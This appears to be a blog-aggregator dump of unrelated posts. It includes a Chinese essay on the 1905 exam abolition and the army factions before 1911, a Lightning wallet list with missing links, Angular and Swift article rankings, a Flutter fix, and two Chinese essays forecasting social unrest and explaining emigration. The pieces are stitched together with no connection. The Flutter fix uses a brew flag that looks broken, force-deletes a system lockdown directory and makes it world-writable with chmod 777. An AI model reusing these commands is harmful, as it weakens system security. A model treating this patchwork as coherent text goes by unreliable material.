继续推导科举之废和学堂建制。考学制度本身在1905年之前,世界上只有两种,一是中式的科举,朝廷只划个八股大纲,规定四书教材,负责招考,其余不管。在这期间,一般人家子弟,从7~8岁开始务农,习艺,读书,相当于把鸡蛋放在几个篮子里,日常学手艺,耕农活,闲暇读读八股,到了考季去考,考不上回来,继续平民日子。以农,工,商等为职业,考试为副业,读书相当于买彩票,调剂生活。

如果某季考上秀才,那才算进入士的阶层,一是获得复试资格,中举为绅,再中进士为官,就算不中,秀才在乡间还有碗教授私塾的饭吃,从寒士秀开始才叫习举业,正式走上专职,教~公人员的漫漫考学之路。当然从寒士,到乡绅,再到官员,自有位置录取比率,寒士再升一步困难,大多数不是私塾老师,就是转向事务官领域,研究钱谷珠算,大清律例,去作师爷,讼师等等,与地方游民出身衙役,班头共同构成小吏阶层。

过去对朝廷有牢骚的主要是考举人不中的这些寒士秀才,但这都属于正常范畴,抱怨够了,回家教私塾,出外当师爷,等到下个考季还不是又都来考。除非有两种特殊情况,朝廷有大变局,民间有大饥荒,他们有机会下注,从寒士转身成策士,货卖与识家,玩一票大的。

 

 

一种是西式的职业教育,从小学开始到大学,学校收钱教书,产业化经营,来的都是客。责任则是要把教学搞好,一对的起花了钱的学生老板,物有所值,二也是做市场口碑,吸引更多人来光顾。而学生则相当于是个人投资,为未来择业打基础。

例如某人数学好,一路往财会学科发展,毕业之后,大体几条路,留校任教,出去企业谋职,要么自主创业,或是去考公务员,在政府里当会计。经济学教师,企业会计,政府雇员,本质没区别,都是本科专业玩算盘。政府雇员叫事务官,考选出身,在体制内升迁靠资历,劳绩。如果那天想当政务官,也就是部会级首长及其以上的职位,那就要有政党背景,出来自选,或是辅选。票选成功,自己当选。辅选得力,被新当选人指名遴选。

 

 

东西方比较,教育模式都适合各自体制,没什么好说的。但要对比效果,西方好。那出的专才,这出的是废柴。这些都不管维尼的事,也不去说他。还是说朝廷的新学制改革。搞了个中西结合,第三种独特的模式出现。

 

 

表面上是学洋人,规定7岁入学,初小,高小,中学堂,大学堂,通儒院。看上去没问题,实际上分两段,初小到高小,学的是西方基础教育,学好多门课,传统的童生自主耕读生活,到这变成法定规范制。再往上,又不学西方一贯制直通车教育(基础打完,无障碍升入各中高等学校受专业教育),而是强制赶去过独木桥,考中学堂,进去相当于举人,再往上,大学堂,通儒院,同进士出身,同进士及第。

如果能考进中学堂,那没问题,公务员编制,分科教育,朝廷包分配,进还可以一直考大学堂,通儒院,退可以转去师范学堂,毕业回各初,高小任教。但关键是考得进中学堂,当得了举人吗?

 

 

如果高小毕业不能过独木桥,那就坏了,举个例子,在西式教育体系里,基础教育部分,是为了升学之后的专业划分而设的公共课,某人想谋职,要么去当手工学徒,慢慢往蓝领奋斗,环境好一些,投入大点,读书去,小学基础绘画,数学,中学制图专业,毕业出来当绘图技师,往白领努力,要是学有余力,钱有富余,能读到大学,那出来是工程师,金领的起点。在传统的中式科举,更干脆,还是这个人,7,8岁出来当学徒,主业学木工,闲暇自学八股,到了16,7岁,考上就专业去八股考官,不中至少也是合格木匠,横竖不误功夫。

可到了第三种模式,十年基础教育,高小毕业过不了中考关,那除了基础教育里的数学绘画这些公共皮毛课程之外,他毫无职业技能,既不能和自小木工学徒出身的木匠竞争,也不能和专业中高学堂里出来的技师并论。

 

 

简而言之,1905之后,出现第三种应试教育(科举实质只是招考,西式实质只是培训),受这种强制基础教育的孩子,有9成是注定要白读十年,浪费青春的。这才是核心问题所在,05年之后,每年都有大批的高小生落榜,他们进不了中学堂,所以没有分配保障,走上社会,又被耽误了十年,没有谋生技能。

这是一个问题,还有一个问题,05年改制的遗留问题,朝廷对05之前的旧科举人员,童生转学新教材,举人,进士授官或是进修,可对旧秀才阶层,朝廷只包部分优贡,拔贡进入新的师范学堂,其余大部分只能自去报考新中学堂,过去秀才算是上了岸的,考中举人很好,考不中教各类村塾。

现在,能考,但是新课标,数理化根本不懂,前进过不了新中学堂考试关,新师范又转不进,于是后退也没资质教高小和初小,旧秀才等于只捞了个同高小出身的身份而已,别的什么都没有,自从习举业以来,以为上岸了,结果一夜之间又掉回水里。

 

 

于是新学堂应试教育,催生了两大人群,一是05之前26,7的老秀才,一是05之后17,8的高小毕业生,进不了体制,融不入社会,怎么办?又有下一个方案,朝廷也是悲催的,自己给自己找麻烦。这放在等会再说。

 

以上部分都在说废科举带来的各种问题,现在看练新军,也还是在05~06年,军队建设也发生一件大事,军20条颁布执行。核心内容就是军队建设专业化,职业化,现代化等等,这又带出两个新问题。一是新兴的士官生群体,一是旧有的军曹。

 

 

士官系这些正规军校生有什么问题。这些年轻士官有没有实际能力,这不好说,但智力绝没问题。他们都是读书种子,初小,高小读完,考场里千军万马中过了独木桥,进陆军高小,陆军中学,6年连读,加2年实习,23,4岁当排长,这没话说,但他们接下问题,考保定兵官学校,陆军大学,从那里学成,就是正式连长起步,营团参谋,再留洋,那才叫前程。

可关键是考中高级军官,就不是考学那么简单,招考里头讲得是人事关系。这些寒门贵子,拼爹拼不过八旗军二代,大多也就是个蹉跎于军中下僚的命格。这些都是万里挑一的凤凰男,人生期望,心理价位自然高,想着自己一路走到现在,操场,教室,食堂,宿舍,图书馆,从早点名忙到熄灯号,将近二十年的人生就耗在这五个地方,结果只得个排长,每月25两银子,反观那些有背景的八旗同学,天生的顶子,军艺的妹子,雪白的银子都是手到擒来。心意如何能平。

 

 

军曹们则是正宗的行伍出身,过去旧军军制,没那么多操练兵演,技能考核,单凭一副好体格,18,9岁来当大兵,赚饷银,吃得饱,运气好的话,营中做久了,被上头赏识,小兄弟们捧场,28,9出头转军士,当军曹,提拔到千总,把总,日常营内只是点卯,然后泡茶馆,吃地方,搞生意,江湖朋友给面子,多舒服的日子。现在搞七搞八,又是士官生,又是学兵团,原本属于军曹的上升空间,班,排长的职位,大多要给四眼仔占去,而且自己也被迫跟进,专业化,职业化,有随营学堂,讲武学堂定期要轮训,年纪一把,又要一线带兵,又要出成绩,还要学技术,读毬书,时不时再被那些毛头士官管,这叫一个懊恼。

 

 

士官和军曹,都怨朝廷不公,都恨八旗可恶,彼此还互相讨厌,这是一个问题,此外还有第三种人,就是刚才说过的新学堂应试教育催生的双失秀才,老张说,来从军,军队是个大课堂,再办个陆军特别小学堂。老张的角度,暂时安置,顺便提高一下军队质素,在这些寒士角度,边当丘八,边读书,文士上进不行了,武士出道总可以吧,他们在军中不少做了司书,也就是连队的小秀才,平时抄抄写写,出个墙报,士兵园地什么的,这叫在职不在编,连排长比较看重他们,相当于连部的书吏,平时可以不参加操练,但在编制上其实还是士兵。

他们盼的是从特小,司书过渡,转正到正规的陆军中学,然后重搭上仕途的正轨。但正规渠道自不断有应届生,关系生,轮到他们这样的二军,凤毛麟角而已。所以这批人就滞屯在营中,这些人就不是什么不平或是懊恼了,而是怨望。

 

 

朝廷也是个冤大头,花那么多钱,养这么多人,结果还要招大多数人怨恨,这叫一个晦气。上文这三拨人,物以类聚在军中又形成三个策源地。士官生大都是第三陆军中学,分布在测绘,法政,军医各个专业学堂还有个技术兵种单位里头,他们最恨八旗子弟,又是读书种子,故此理论上能接受海外乱党反满之类的文宣,席正名,雷洪各省士官生头头搞了个组织,黄汉光复党,寓意黄帝子孙光复汉族之类,但说实话,这波士官生,也就起哄架秧子,凑凑革命的热闹,要论破坏力,行动力那差得远了。

 

 

真正有能力的,一是军曹们的组织,29,30团的将校研究团。也就是岗位轮训时,蔡济民,王宪章,吴醒汉这些老班长自发组合而成同人会,为什么叫将校团,因为他们基本都是下士,军士长,取个好意头希望能升上校官,将官。32团的黄伸芗的种族研究会,工程营熊秉坤,炮团蔡汉卿也有忠汉团等等组织,叫什么并不重要,反正就那么回事。边自己搞买卖,边骂朝廷规矩多,每临近操练,军演,退伍这类的关口,队伍都明显不稳。

军曹们是买卖多,怪话多,门路多,后来比较出名的那些,熊秉坤,他舅是汉口的水夫头,打码头的,蔡汉卿和炮团的小兄弟是吃土方的,南湖修堤围堰,发包工程。还有马房徐万年,河南兵的老大哥,鄂豫之间的往来运输,自有一份,马队的回回班长沙金海,广益桥一带的陕甘马帮,本省丑帮的皮革加工作坊,帮着看场。还有搞土药生意的阿金,房屋租赁生意的张廷辅等等。

 

 

还有就是21混成旅的第41团,这个团里大都是落榜生,失业生之类的倒霉蛋,为什么这个团里特别多这种人呢,一来是政策方向,老张贪大求全,要6千君子共一堂,明明没位置分配,偏偏喜欢扩招,二来和旅团主官有关,旅长黎元洪放任自流,黎在军中就不得志,本来说好张彪第8师,他第11师,一字并肩,但因阿彪是老张警卫员出身,黎这个科班生,只好缩师为旅,千年老二,心里不爽,前途有限,乐得糊涂,得个军中好名声更重要。而他手下的41团团长,吴元泽.这位听名字,就知道是个老好人,无原则嘛。

老吴为什么喜欢招那些天涯沦落人,因为他自己也沦落过。这位年少考学时,也是考的不易,几次考举人不中,不过运气还好,赶上最早留洋潮,那时观念未开,别的高材生都不愿出去,科举正途为上。他是寒士,豁出去博一下,弃文从武,去日本学了陆军,回来以后,分配也坎坷,去一些边角省份当有名无实的军事穷教员,一直到30多才回湖北,候补了好一阵,才赶上黎元洪独立成旅的机会,搭上这班船,正职当了团长,所以他上来以后,就喜欢招收和他相似出身那些落魄学兵。

这些倒霉蛋在41团汇聚,后来又传到边上的31团,和同建制的42团。这些人大哥都是连队文书,像早期的刘静庵,中期杨王鹏,后期的蒋翊武,何海铭等等,彼此之间是教会式的抱团取暖,传销式的组织链接,疯狗似的仇恨朝廷。

 

 

有了策源地,之后顺理成章。士官系倒向共进会,书吏们自组文学社,军曹各团体,则两头各自下注。然后就是一百年前的那声枪响,在大清角度,朝廷那张金卡刷爆破产,在乱党角度,功名富贵立等可取。

List of Lightning Network Wallets, Node Guides for Different OS and Payments Processors

$
0
0

List of Lightning Network Wallets, Node Guides for Different OS and Payments Processors

An extensive list of lightning wallets, node guides and payment processors contributed on reddit by /u/TheGreatMuffin and /u/bitusher.

The list is probably incomplete as some of the projects are still in the late development phase.

LN on IOS – LND Thin Wallet:

https://itunes.apple.com/us/app/lnd-thin-wallet/id1375747279 (You need to connect to your own LN node)

LN on Android:

LN on Linux or Ubuntu:

LN on VPS:

LN on raspberry-pi:

LN on ODROID:

LN on Windows:

LN on OSX:

LN on Google cloud:

Hosted Lightning payment processors:

LN megathread:

Stores that accept Lightning payments:

Accept LN for free with:

Ultimate guide to setting up BTCpay:

Videos as well:

Angular Top 10 Articles for the Past Month (v.Nov 2018)

$
0
0

Angular Top 10 Articles for the Past Month (v.Nov 2018)

For the past month, we ranked nearly 800 Angular articles to pick the Top 10 stories that can help advance your career (1.25% chance).

Tweet of the month
  • Topics in this list: Angular 7, Full-Stack Applications, State Management, Angular Question, NativeScript, Dependency Injection, Change Detection Strategies, Theming Angular, Authentication
  • “Watch” Angular Monthly Top 10 on Github and get email once a month.

As an article ranking service for professionals, we take quality very seriously and make sure each article you read is great. Mybridge AI considers the total number of shares, minutes read, and uses our machine learning algorithm to rank articles. This is a competitive list and you’ll find the experience and techniques shared by the Angular leaders useful.

Course of the month:

A) Beginners: Angular 7 (formerly Angular 2) — The Complete Guide.[64,939 recommends, 4.6/5 stars]

B) Angular & NodeJS — The MEAN Stack Guide. [8,350 recommends, 4.6/5 stars]

Rank 1

Version 7 of Angular — CLI Prompts, Virtual Scroll, Drag and Drop and more. Courtesy of Stephen Fluin

……[Tweet]


Rank 2

Angular 7 Tutorial: Building CRUD Web Application. Courtesy of Didin J


Rank 3

Building Full-Stack Applications Using Angular CLI and Nx. Courtesy of Victor Savkin


Rank 4

Simple State Management with RxJS’s scan operator. Courtesy of Juri Strumpflohner


Rank 5

The Ultimate Answer To The Very Common Angular Question: subscribe() vs | async Pipe. Courtesy of Tomas Trajan


Rank 6

How to Build a PWA, an iOS App, and an Android App — From One Codebase. Courtesy of TJ VanToll


Rank 7

Total Guide To Angular 6+ Dependency Injection — providedIn vs providers:[ ] . Courtesy of Tomas Trajan


Rank 8

Understanding Change Detection Strategies in Angular. Courtesy of Chidume Nnamdi


Rank 9

Theming Angular: Breaking through ViewEncapsulation to colour some dinos. Courtesy of Tomek Sułkowski


Rank 10

NgRx Authentication Tutorial. Courtesy of Sam Julien

That’s it for Angular Monthly Top 10. Visit our publication to find top posts for more programming skills.


Swift Top 10 Articles for the Past Month (v.Dec 2018)

$
0
0

Swift Top 10 Articles for the Past Month (v.Dec 2018)

For the past month, we ranked nearly 900 Swift articles to pick the Top 10 stories that can help advance your career (0.9% chance).

  • “Watch” Swift Monthly Top 10 on Github and get email once a month.

As an article ranking service for professionals, we take quality very seriously and make sure each article you read is great. Mybridge AI considers the total number of shares, minutes read, and uses our machine learning algorithm to rank articles. This is a competitive list and you’ll find the experience and techniques shared by the Swift leaders useful.

Course of the month:

A) Beginners: iOS 12: Learn to Code & Build Real iOS Apps in Swift. [145 recommends, 4.7/5 stars]

B) NEW: CoreData for Swift Development (Swift 4.2 & iOS 12). [40 recommends, 4.5/5 stars]

Rank 1

Testing Your RxSwift Code. Courtesy of Shai Mishali


Rank 2

Strategy pattern in Swift. Courtesy of Juanpe Catalán


Rank 3

Working With Static Patterns: A Swift MVVM Tutorial. Courtesy of Lucas van Dongen


Rank 4

Watermarking photos with ImageMagick, Vapor 3 and Swift on macOS and Linux. Courtesy of Mike Mikina


Rank 5

Creating a Prisma-like App with Core ML, Style Transfer and Turi Create. Courtesy of Sai Kambampati


Rank 6

Improving code testability with Swift protocols. Courtesy of Juanpe Catalán


Rank 7

Server-side Swift: Making Canopy (1/6). Courtesy of Max Howell


Rank 8

Extending optionals in Swift. Courtesy of John Sundell


Rank 9

CreateML: Start Your Adventure in Machine Learning with Swift. Courtesy of Anna-Mariia Shkarlinska


Rank 10

Docker on macOS: Getting Started. Courtesy of mataharimau

That’s it for Swift Monthly Top 10. Visit our publication to find top posts for more programming skills.

flutter doctor returns [Unhandled exception: Exception: idevice_id returned an error]

$
0
0

@Hanggi I plugged my phone and seems to work now 🙂

brew uninstall ideviceinstaller -g
brew uninstall libimobiledevice -g
brew install --HEAD libimobiledevice -g
brew install ideviceinstaller -g
sudo rm -rf /var/db/lockdown/*
sudo chmod -R 777 /var/db/lockdown/

中國的社會危機與社會運動已經不遠了

$
0
0

進入2019年,我們有必要嚴肅地來探討一個問題,即未來幾年,隨著經濟形勢的持續惡化,是否會傳導到社會,進而觸發社會中的不滿因素,導致以權利訴求為目的的大規模的群體抗爭重新出現,並演化成為工運和農運的可能性。

 

某種意義上,剛剛過去的2018年是一個分水嶺。我說的「分水嶺」的意思是,社會的危機感普遍出現,這在過去是沒有的,以前在少數群體身上,或者在一部分先知先覺者身上,是存在對中國社會的總體危機意識的,但是在知識專業集團、工商業經理階層、共產黨內是不存在的,更不用講普羅大眾了。社會中的大部分人還在享受改革剩下的紅利,並沒有意識到危機正在悄然降臨,其中的大多數人甚至對中國的未來發展很有信心。

 

但是2018年有兩件事情使得多數人覺察到寒冬驟然而至,一是3月的修憲和廢除國家主席任期制,讓許多人陷入對中國政治的悲觀中,一是6月開始發酵的美中貿易戰,使許多人對中國的經濟形勢和國際處境陷入悲觀。

 

如果說,政治經濟的寒冬感雖然驟然而至,但改革40年積累的家業讓整個國家和個人都還有餘糧可以抵禦,所以這種危機感在2018年只是存在許多人的意識層面,沒有轉化成具體的集體抗爭行動;那麼,2019年之後的形勢很可能不一樣,官方現在也已承認,未來幾年,是中國經濟形勢最困難的時期,隨著寒冬增強,餘糧減少,當經濟蕭條現實地威脅或侵害底層甚至包括專業階層在內的部分中產階級的利益時,過去幾十年由分配不公產生的相對剝奪感會被人們有意識地強化,向權貴和國家要平等的社會主張會啟動,個體的抗爭意識和抗爭行動不可避免地會發展成為群體的抗爭意識和抗爭行動。在這一過程中,假如某個環節或某件事情處理不妥,群體抗爭也就極可能轉化為連續的以工運和農運為主要表現形式的社會運動。

 

律師從配角變主角

 

研究現代化和社會轉型的學者一般認為,一個社會在向現代化變遷過程中,隨著公民權利意識的生成,以集體行動為主要形式的社會抗爭和社會運動遲早將會出現。人類歷史就是這麼走過來的。中國也不例外,共產黨的工人革命和土地革命就是一個成功的例子,「六四」則是一次失敗的學生抗爭運動。

 

1989年後,隨著改革的深化,中國發生了一波又一波的維權行動和群體抗爭事件。特別是以失地農民和下崗失業工人為主體的群體事件,規模和聲勢最為浩大,受到的關注最多。前者有翁安事件等,後者有通鋼事件等,當時都引發了社會震動。但這些群體事件的主要目的和訴求,是維護和爭取自己的經濟權益,儘管它們的行動客觀上產生了政治後果。

 

在很多轉型國家和地區,律師在社會運動中都起帶頭或主導作用,這在臺灣尤其明顯。但中國的律師群體介入社會抗爭較晚,剛開始,主要是幫助人們維權。到本世紀第一個10年的後期,始有律師介入社會抗爭。鑒於律師的特點,特別是人權律師,面對社會的不公不義,很難袖手旁觀,而投入社會運動,從配角變主角,所以,在最近10年,律師親自參與很多的維權事件。

 

中國官方的「拆彈」方式是全面強化黨的一元化領導,加強對社會的暴力管控。(湯森路透)

 

近年引起社會和國際關注的「709」案,即以人權律師為主角。不過,2008年北京奧運後,特別是18大以來,官方對人權律師的打壓增強,新公民運動、「709」律師群體先後被鎮壓,社會抗爭進入低潮,以往此起彼伏的群體事件呈遞減趨勢。

 

抗爭目的帶有明顯政治性

 

總的來說,1989年後,雖然群體事件和維權抗爭不斷,但始終沒有發展成全國性的社會抗爭,抗爭局限在局部和地方,特別是基層。發生於上世紀90年代末的法輪功圍攻中南海事件以及前兩年老兵群體為優撫安置問題進京上訪或許是兩個例外,但它們的目標還是爭取宗教或經濟權利(法輪功後來涉及政治權利),也未獲社會主流人群特別是知識份子和中產階級的關注與支持。

 

另一些事件,如汶川學校倒塌、溫州動車事故、天津火災、三鹿奶粉事件、鄧玉嬌事件等,雖說在輿論上引起全國線民關注,民情洶湧,但這些事件都聚焦于特定的人群,沒有形成共振效應。

 

儘管如此,有了前二十多年中國社會維權和群體抗爭的鋪墊,再加上去年社會危機意識的普遍發酵,2019年後,中國的社會抗爭在人數規模和訴求主張上很可能發生轉變,重新燃起社會反抗的星星之火,在抗爭目的上帶有明顯的政治性。

 

為什麼這麼說?如果持續的經濟衰退得不到扭轉,屆時很有可能出現大規模企業倒閉和失業潮,或者出現嚴重通脹,民眾生活水準急劇下降。目前社會的主體是70、80、90後,他們不像其父輩那樣對貧困有深刻體會,能夠耐貧,當個人和家庭的生活水準因經濟不景氣要過苦日子時,他們是否適應這種狀況,會不會導致連鎖反應,走向街頭,都是未知數。但對官方來說,這無疑是一顆「定時炸彈」,必須嚴防死守,不讓它引爆。

 

可官方的「拆彈」方式是全面強化黨的一元化領導,加強對社會的暴力管控,同時部分滿足大眾在分配上的平等需求。短期來看,這會削弱社會運動和社會抗爭的社會基礎,導致社會抗爭和社會運動走入低潮,但長期而言,這樣做不但不能壓制人們的不滿和反抗,反而會催生大眾的政治意識,隨著國家控制能力的走弱,從而激發大眾的抗爭意識和行動。考慮到國家對社會的躁動情緒已經完全失去感知和回應能力,更是如此。

 

無法減少人們與政府的矛盾

 

誠如研究社會轉型的學者指出的,現實中的社會抗爭和社會運動同國家功能的轉換以及國家能力建設的高下有著密切關係。當國家選擇性地發展以徵稅為主的抽取能力與以暴力控制為主的強制能力,而忽視分配、規範能力與對大眾的保護能力的發展,這種不均衡的國家能力建設就會帶來廣泛的社會抗議。

 

在此基礎上,經濟增長不僅不會帶來社會的普遍繁榮與發展,而是制度性地製造經濟與社會不平等,社會不平等導致兩極化,兩極化導致普遍的社會不滿和社會怨恨,最後嚴重削弱政治合法性的基礎。中國過去的情況很符合這一論述,現在繁榮也不再。要在分配方面補短板,國家就必須進一步加強徵稅的抽取能力,抽取能力的增強造成和工商階層的矛盾激化,經濟進一步走弱;與此同時,對普羅大眾分配上的改善又不足以彌補他們失業的加劇,因此,最終並不能減少人們與政府的矛盾。

 

需要強調的是,經濟衰退和社會普遍的不滿,出現了左派學生群體的崛起和他們與工人的結合,對中國官方來說,可謂釋放出了一個理論上難纏的對手。自八九「六四」後,中國的知識份子(除了某個短暫時期或個別人外)基本是社會抗爭行動的邊緣者,最多在輿論上鼓與呼,未能深入抗爭現場,參與抗爭行動。

 

但是,以北京大學馬克思主義學會為主的左派學生群體開始彌補這一缺憾,他們繼承了共產黨的「初心」,走與工農結合的道路。這群左派學生,響應領導人的號召,讀馬克思、列寧和毛澤東的著作,組建學生小組討論社會主義的進步,像當年毛澤東去安源煤礦發動工人一樣,高呼「毛主席萬歲」、「工人階級萬歲」的口號深入工廠農村,組織工會,指導工人維權鬥爭,幫助陷入困境的農村家庭等。

 

左派學生的行為正是中國官方最擔心的:知識份子和工農的結合,前者為後者提供理論指導,後者為前者提供組織力量。(湯森路透)

 

此種情況的出現,完全是官方自己為自己製造的陷阱。這幾年國家政治上的左傾,理論和意識形態的馬克思主義化,使得這群左派學生吸取了馬克思主義的正宗理論資源,而現實中官方的國家資本主義正好成了他們批判的靶子。

 

他們「活學活用」,用馬克思主義的階級鬥爭理論啟發工人和農民,讓後者認識到,他們被剝削和社會不平等的根源,除了他們所服務的企業主外,還有背後的國家資本家,給工人農民灌輸明確的剝削和階級意識,從而使工農把階級鬥爭的矛頭指向變了修的共產黨。可想而知,像本文前面提及的那些失業工人和失地農民的群體反抗事件,如果當時有左派學生灌輸給他們這些「大道理」,後果就會變得不一樣。

 

到臨界點後

 

左派學生的行為正是中國官方最擔心的:知識份子和工農的結合,前者為後者提供理論指導,後者為前者提供組織力量,從而為大規模社會運動和社會抗戰奠定階級基礎,並湧現組織者和領導者。對官方來說,棘手的地方還在於,要打壓左派學生的行動,會遇到理論障礙。因為他們運用的話語體系和理論資源,正是官方長期堅守的。

 

當然,現階段左派學生群體深入到工廠農村,和工農打成一片的還不多,也不排除一些左派學生持有一種機會主義態度。但官方是深知星星之火可以燎原的道理的。問題還在於,左派學生群體的行動具有示範效應,一旦右派知識份子也深入基層,深入大眾,和勞工大眾的結合形成一種趨勢,那麼,在社會經濟形勢惡化到臨界點後,原先被蟄伏的普遍的社會不滿爆發出來,社會群體抗爭就很容易發展成整個社會危機和社會運動的系列的連續劇。

 

應該說,這種情況很可能不遠了。

 

※作者是獨立學者/中國戰略分析智庫研究員

陈天庸:我为什么离开中国?

$
0
0

编者按:一位企业经营者在离开中国之前写下长文,对当下中国的经济和社会动荡进行了分析。文章在网络流传。

一、寻得桃源好避秦

2018年初,我在从马来西亚回上海过农历春节的飞机上,用手机写了《大洪水会再来吗?——我的诺亚方舟》一文,百度上还能搜到。当时还没有修宪,也还没有贸易战,后来的局势发展印证了我的担忧。贸易战只是冰山一角,在经济层面中美会达成暂时的和解,但天朝利益集团与普世价值观及国际通行规则的冲突,仍将持续,根源不在一人一事,而在于权力来源于(且至今仍依赖)暴力的必然结果。

三十多年改革开放积蓄了某些制度坚决不改的本钱,后发劣势积重难返,苏东模式窗口期已过。西班牙智利台湾社会能够和平转型,重要条件是其社会财富私有制占主体,公权力的含金量并不很高,民众意识觉醒后其恋栈代价超过弃栈。中国公有制仍占主体,且还在“做大做强”,公权力能够支配全民财富肆意妄为,毒性极强使人上瘾欲罢不能。因此除非奇迹出现,今后中国局势必继续恶化。多数人混混噩噩,部分人看得清但心存侥幸,所谓历史教训,就是很少人能真正从中吸取到教训。

我天性不羁,侥幸有机会选择,危墙不立乱邦不居,今天我选择离开中国,到马耳他共和国居留学习一段时间,顺便拿一张可在欧洲漫游的永久通行证。许多朋友问我为何作此选择,现在我在飞机上,再用手机写几行字,作为回复,也算临别感言。

二、中国经济滑坡已难逆转

事关国运的首要问题还是经济。经济事关每一个人福祉,惰政、蠢政与恶政的不良后果,最终会通过经济问题显现出来。中美贸易战虽兹事体大,但美国民众日用品主要依赖发展中国家,目前大部分仍靠中国提供,近年内难被完全替代,美国政府得罪不起选民,中国政府目前内忧外患,手中本无多少筹码,因此贸易战双方必会见好就收(关于中美贸易战结局的分析,可参阅陈天庸、谢作诗2018年3月写的《:原因、性质及中国的应对措施》)。中国政府被迫降点关税,相当于给本国民众减点税刺激消费,对国家财政影响并不大。更大麻烦在于,贸易战平息后的中国经济,趋势极不乐观。网上我还没看到很详细的中国未来经济预判分析文章,在此说说我的看法。

1、产业外迁最致命

中国外资正以整个产业链相关企业群体外迁的规模逃离。广东胶鞋家俱等多个行业外资企业大量搬迁出境。三星、富士康、优衣裤、无印良品大幅减少中国工厂,耐克、阿迪达斯此前已将生产工厂转到越南。内资企业有条件的也在设法外迁。产业外迁的转折点并非中美贸易战,冰冻三尺非一日之寒,中国政府多年来动辄打民族牌,反日反美反西方,2016年韩国萨德事件激发中国大规模排外,都已让外资企业寒意彻骨。企业从谋划迁移到实际搬迁,至少需两三年,因此2019年起的今后三年,企业外迁潮会一年比一年猛,其后果比目前能预想到的将更严重。

中美贸易战基本还只是嘴仗,美方关税制裁尚未大规模实施,目前并未真正导致中国企业外销成本大幅上升。川普的贸易战只是给外资企业离开中国增加了一个理由。别以为贸易战和解了,要迁移的外企就会留下来。导致企业外迁是因为中国的综合成本过高,首先是制度成本高,加上中国民族民粹主义泛滥,导致外企对中国未来预期不佳,安全感丧失。近来华为孟任女事件天朝昏招迭出,更增加了外资不安全感,必进一步加速外资逃离。

产业外迁对人口众多的发展中国家后果是致命的。青壮劳动力无法贮存,人老了就成为社会负担。中国其他资源禀赋远不能与阿根廷相比,因此说中国将陷南美式的“中等收入陷阱”,太乐观了。看看委内瑞拉与津巴布韦吧,那才是未来中国的映像:暴政朽而不倒,民众苦海无边,年轻一代看不到未来,整个社会看不到改善希望。

香港自上世纪八十年代开始产业外迁,到现在几乎没有了制造业,目前香港金融服务业走向衰退,社会便弥漫绝望气氛。台湾企业外迁程度比香港稍轻,也已导致台湾工人几乎二十年没加工资,年轻人起薪一直停留在台币22K。台湾每届候选人都喊拚经济,都没有起色。中国大陆与港台差距不可以道里计,世界贸易一体化时代,企业随时面对国际市场竞争,制造业企业对成本尤其敏感,民主社会政治家要用高福利讨好选民,专制政体要强力维稳,制度运行成本都很难降低,因此制造业企业只能不断地“逐水草而居”,迁到综合成本更低的地方才可续命。现在东南亚与印度的投资环境不断改善,综合成本已显著低于中国,在中国的外资企业不走就得等死。一些内资企业如果不能转移到成本更低的地方,也很难熬过今后几年。

制造业企业搬迁是件伤筋动骨的事,因此产业一旦转移就不可能回来。中国外资企业产出占中国GDP四分之一以上,加上带动的相关产业,外资企业影响中国40%GDP,50%左右进出口额(可参照中国商务部《中国外商投资报告》,数据为2017年度统计数据)。再加上内资私营企业也已开始大量停产倒闭,今后三五年内,产业外迁将导致中国增加上亿失业人口。其中能够“回乡创业”的主要是五十岁以上的农民工,农村无法提供与城市类似的就业、工资与生活环境,青壮农民工大多数不会忍受农村的贫穷枯燥,农民工城里出生的二代,更是无法接受农村的生活环境。大批青壮农民工与城里出生的农二代,有城留不下,有村回不去,必成社会动荡之源。

贫穷失业是培养民族与民粹主义的温床,民粹主义是专制的最得力帮凶,经济滑坡的后果,绝不只是节衣缩食的问题,首先必引发民粹主义泛滥,不患寡而患不均,中产以上阶层都将成为民粹靶子,再次打土豪分田地是必然会发生的事。唯有在经济未严重恶化前立即启动宪政民主,形成社会多元制约体系,方可制约民粹。中国如不立即开始宪政进程,民粹主义潮流今后几年内将淹没中国,义和团将沉渣泛起裹挟社会。

宪政民主转型需要一定物质条件,饿殍遍野民不聊生时,暴力是暴民唯一懂得的语言,需求层次定律决定了宪政民主制度难以在整个社会普遍贫穷的阶段稳定建立与施行。宪政是君子之争,仓廪实而知礼节,衣食足而知荣辱,如待经济崩溃,民不聊生,宪政民主便是沙上建塔。

经济搞不好,中国没希望。中国经济能否搞好?取决于2019年中国能不能发生颠覆性的制度改变,大幅降低民营企业综合成本。

2、中国企业的成本高在哪里?能否降低?

找准病因才能对症下药。多数学者说中国企业高成本来自高税负与过高的社保,因此大力呼吁减税与降社保缴费比例。其实不然。

中国社保占工资比例近40%,这其实就是所得税,是企业的沉重负担。但中国除北上广深外的大多数地区,通常默许企业只按工人数量的30%左右交社保。

中国税负确实高,尤其税收结构很不合理,生产流通环节而非消费环节承担了主要税负,极不利于促进企业增加积累扩大投资——对不同环节征税的调节效应是不一样的,税负从生产环节传递分摊到消费环节,是有成本的。

流行的谬误认为投资、出口与消费是拉动经济的三驾马车,其实只有私企投资才是拉动经济的唯一动力,出口与消费是有效投资的结果,而非与投资并列的发展动力。中国高税收严重影响企业增加积累扩大生产,很不利于经济发展,减税是必要的。

我自己经营企业,平时与企业家朋友相从较密,我总结民企老板面临的外部困难,普遍来说,约20%来自于重税,20%来自于干预用工自由的劳动法规与社保负担,还有60%左右,来自于官员以检查、整顿、罚款、责令整改、环评标准过高、强制限产、责令停业、拆违、赶人、限制经营范围、限制外来人口子女入学、购房等等各种限制与折腾带来的麻烦,让企业动辄得咎。税收与社保虽不合理,但只要规则清晰,企业还有个明确预期,可以部分规避或提前分散风险负担。唯有政府官员随心所欲的权力之手干预企业经营,以及官吏以执法为名的寻租滋事,如苍蝇防不胜防,最令企业经营者心力交瘁。应对这类骚扰的时间与精力,是企业经营者更大的成本。但由于这种成本难量化、难表述、难避免,学者与主政者常回避这类问题,视而不见。且政府还需养大批冗员以维稳,腐败是专制政体运行的润滑剂,“纵兵劫掠”也是养兵之法。因此官员权力寻租与蛮横折腾企业带来的负担与损失,虽危害更甚于高税收与高社保,现行体制下要想预防与避免,基本无望。

政府官员权力寻租与瞎折腾,比高税收与社保更伤害企业。纪检监察显然解决不了这个问题,官员折腾企业,名义上都有法有据。政府部门高标准立法、选择性执法,让企业普遍处于违法状态,政府官员随时可上门刁难处罚,这是中国所有民企面临的常态。企业大油水多,上门刁难敲诈的官员越多。匹夫无罪,怀璧其罪。古谓灭门的知县,今有随意封门的胥吏。更糟糕的是民企面对公权力侵害毫无救济手段,只能束手待宰。

